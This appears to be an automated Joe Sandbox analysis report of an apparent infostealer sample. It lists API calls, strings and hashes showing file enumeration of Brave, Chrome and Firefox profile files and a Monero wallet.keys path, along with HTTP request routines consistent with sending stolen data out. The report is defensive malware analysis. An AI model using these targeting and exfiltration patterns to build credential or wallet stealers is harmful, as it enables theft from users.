Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: f93cb357ab649d934d6b39222d675baf0e141cbba0e653d099b81f89fca51ccd
Instruction ID: d0a6e96f1328c1d0fe5fa60eebcd8e4b905f196964037caf854129a8bc7a0864
Opcode Fuzzy Hash: f93cb357ab649d934d6b39222d675baf0e141cbba0e653d099b81f89fca51ccd
Instruction Fuzzy Hash: 3F4179206D27086AE774FBADAC61EAE3B537F42709F905143EC60D2790DBB075885529

Function 005BBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005CA740: lstrcpy.KERNEL32(005D0E17,00000000), ref: 005CA788

Part of subcall function 005CA920: lstrcpy.KERNEL32(00000000,?), ref: 005CA972
Part of subcall function 005CA920: lstrcat.KERNEL32(00000000), ref: 005CA982

Part of subcall function 005CA9B0: lstrlen.KERNEL32(?,00C79D18,?,\Monero\wallet.keys,005D0E17), ref: 005CA9C5
Part of subcall function 005CA9B0: lstrcpy.KERNEL32(00000000), ref: 005CAA04
Part of subcall function 005CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005CAA12

Part of subcall function 005CA8A0: lstrcpy.KERNEL32(?,005D0E17), ref: 005CA905

FindFirstFileA.KERNEL32(00000000,?,005D0B32,005D0B2B,00000000,?,?,?,005D13F4,005D0B2A), ref: 005BBEF5
StrCmpCA.SHLWAPI(?,005D13F8), ref: 005BBF4D
StrCmpCA.SHLWAPI(?,005D13FC), ref: 005BBF63
FindNextFileA.KERNEL32(000000FF,?), ref: 005BC7BF
FindClose.KERNEL32(000000FF), ref: 005BC7D1

Strings

Google Chrome, xrefs: 005BC634
\Brave\Preferences, xrefs: 005BC1DB
Brave, xrefs: 005BC102
Preferences, xrefs: 005BC11E

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 644a481d6525ffc93f1925c77bfa2d568ee9f218842cf8ab4c0d7d05bba985d2
Instruction ID: ef387e73c92a1d237cb5dd397a63ebce2ed349f6d07c95f0ec54ea89c3724809
Opcode Fuzzy Hash: 644a481d6525ffc93f1925c77bfa2d568ee9f218842cf8ab4c0d7d05bba985d2
Instruction Fuzzy Hash: 2F424172900109ABDB14FBB0DD5AFED7F78BBC4304F40855DB50A96181EE34AB49CBA6

Function 005C4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 005C492C
FindFirstFileA.KERNEL32(?,?), ref: 005C4943
StrCmpCA.SHLWAPI(?,005D0FDC), ref: 005C4971
StrCmpCA.SHLWAPI(?,005D0FE0), ref: 005C4987
FindNextFileA.KERNEL32(000000FF,?), ref: 005C4B7D
FindClose.KERNEL32(000000FF), ref: 005C4B92

Strings

%s\%s, xrefs: 005C49FB
%s\*, xrefs: 005C4920
%s\%s, xrefs: 005C49A4

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 1b6108abb2983d6761611336f1b16cb8b0d5f1e6031eedef838996e445cb073f
Instruction ID: f409446651fe062ce7c2a8b2f12a2ac3b877e49953b47cd5f4deb876be2a2ca5
Opcode Fuzzy Hash: 1b6108abb2983d6761611336f1b16cb8b0d5f1e6031eedef838996e445cb073f
Instruction Fuzzy Hash: 4E6153B1900219AFCB20EBA4DC59FFA777CBB48700F04858DB50D96180EB75AB85CFA5

Function 005B4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005CA7E6

Part of subcall function 005B47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 005B4839
Part of subcall function 005B47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 005B4849

Part of subcall function 005CA740: lstrcpy.KERNEL32(005D0E17,00000000), ref: 005CA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 005B4915
StrCmpCA.SHLWAPI(?,00C7F900), ref: 005B493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 005B4ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,005D0DDB,00000000,?,?,00000000,?,",00000000,?,00C7F880), ref: 005B4DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 005B4E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 005B4E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 005B4E49
InternetCloseHandle.WININET(00000000), ref: 005B4EAD
InternetCloseHandle.WININET(00000000), ref: 005B4EC5
HttpOpenRequestA.WININET(00000000,00C7F8E0,?,00C7EDD0,00000000,00000000,00400100,00000000), ref: 005B4B15

Part of subcall function 005CA9B0: lstrlen.KERNEL32(?,00C79D18,?,\Monero\wallet.keys,005D0E17), ref: 005CA9C5
Part of subcall function 005CA9B0: lstrcpy.KERNEL32(00000000), ref: 005CAA04
Part of subcall function 005CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005CAA12

Part of subcall function 005CA8A0: lstrcpy.KERNEL32(?,005D0E17), ref: 005CA905

Part of subcall function 005CA920: lstrcpy.KERNEL32(00000000,?), ref: 005CA972
Part of subcall function 005CA920: lstrcat.KERNEL32(00000000), ref: 005CA982

InternetCloseHandle.WININET(00000000), ref: 005B4ECF

Strings

------, xrefs: 005B4C69
", xrefs: 005B4BF2
------, xrefs: 005B49BD
------, xrefs: 005B4B28
", xrefs: 005B4D33

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: c35a80115300a53e02336ff9a4bce4df40695af14e460ccece6d4b876f32723d
Instruction ID: 306e8ecc01095a349d91f148ad5131ebd3fe8a42baf7c04be7fe57d649256b8e
Opcode Fuzzy Hash: c35a80115300a53e02336ff9a4bce4df40695af14e460ccece6d4b876f32723d
Instruction Fuzzy Hash: F112C67291011DAFDB25EB90DC9AFEEBB78BF94304F50419DB10662091EF702E49CB66

Function 005C3EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 005C3EC3
FindFirstFileA.KERNEL32(?,?), ref: 005C3EDA
StrCmpCA.SHLWAPI(?,005D0FAC), ref: 005C3F08
StrCmpCA.SHLWAPI(?,005D0FB0), ref: 005C3F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 005C406C
FindClose.KERNEL32(000000FF), ref: 005C4081

Strings

%s\%s, xrefs: 005C3EB7

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: fd3d7ea0e76ac57867c9f4909686e1d583df65fa222bcd012c916eff6b1a6a05
Instruction ID: 78c165388a85568732cd41dd0920ba54bd33ef4aa429434b44d49a61faf517bc
Opcode Fuzzy Hash: fd3d7ea0e76ac57867c9f4909686e1d583df65fa222bcd012c916eff6b1a6a05
Instruction Fuzzy Hash: A75134B1910219ABCB24EBB0DC49FFA777CBB84300F40858DB65D96080DA75AB85CFA5

Function 005BF6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 005CA740: lstrcpy.KERNEL32(005D0E17,00000000), ref: 005CA788

Part of subcall function 005CA920: lstrcpy.KERNEL32(00000000,?), ref: 005CA972
Part of subcall function 005CA920: lstrcat.KERNEL32(00000000), ref: 005CA982

Part of subcall function 005CA9B0: lstrlen.KERNEL32(?,00C79D18,?,\Monero\wallet.keys,005D0E17), ref: 005CA9C5
Part of subcall function 005CA9B0: lstrcpy.KERNEL32(00000000), ref: 005CAA04
Part of subcall function 005CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005CAA12

Part of subcall function 005CA8A0: lstrcpy.KERNEL32(?,005D0E17), ref: 005CA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,005D15B8,005D0D96), ref: 005BF71E
StrCmpCA.SHLWAPI(?,005D15BC), ref: 005BF76F
StrCmpCA.SHLWAPI(?,005D15C0), ref: 005BF785
FindNextFileA.KERNELBASE(000000FF,?), ref: 005BFAB1
FindClose.KERNEL32(000000FF), ref: 005BFAC3

Strings

prefs.js, xrefs: 005BF812

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: a23c06ad6181ef8bb7a0eef244944ce75cebb0e0d44562b1b7c8a5212eaa7de7
Instruction ID: 59f811e1d00c183a6b74d7a203f0c75d03045c5ff3c34b2fa097a0b057e1cfdf
Opcode Fuzzy Hash: a23c06ad6181ef8bb7a0eef244944ce75cebb0e0d44562b1b7c8a5212eaa7de7
Instruction Fuzzy Hash: A6B12271900109AFCB24FBA4DC5AFED7F79BF94304F4085ADA40A96191EE346B49CF92

Function 005B16D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 005CA740: lstrcpy.KERNEL32(005D0E17,00000000), ref: 005CA788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,005D510C,?,?,?,005D51B4,?,?,00000000,?,00000000), ref: 005B1923
StrCmpCA.SHLWAPI(?,005D525C), ref: 005B1973
StrCmpCA.SHLWAPI(?,005D5304), ref: 005B1989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 005B1D40
DeleteFileA.KERNEL32(00000000), ref: 005B1DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 005B1E20
FindClose.KERNEL32(000000FF), ref: 005B1E32

Part of subcall function 005CA920: lstrcpy.KERNEL32(00000000,?), ref: 005CA972
Part of subcall function 005CA920: lstrcat.KERNEL32(00000000), ref: 005CA982

Part of subcall function 005CA9B0: lstrlen.KERNEL32(?,00C79D18,?,\Monero\wallet.keys,005D0E17), ref: 005CA9C5
Part of subcall function 005CA9B0: lstrcpy.KERNEL32(00000000), ref: 005CAA04
Part of subcall function 005CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005CAA12

Part of subcall function 005CA8A0: lstrcpy.KERNEL32(?,005D0E17), ref: 005CA905

Strings

\*.*, xrefs: 005B17F1

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
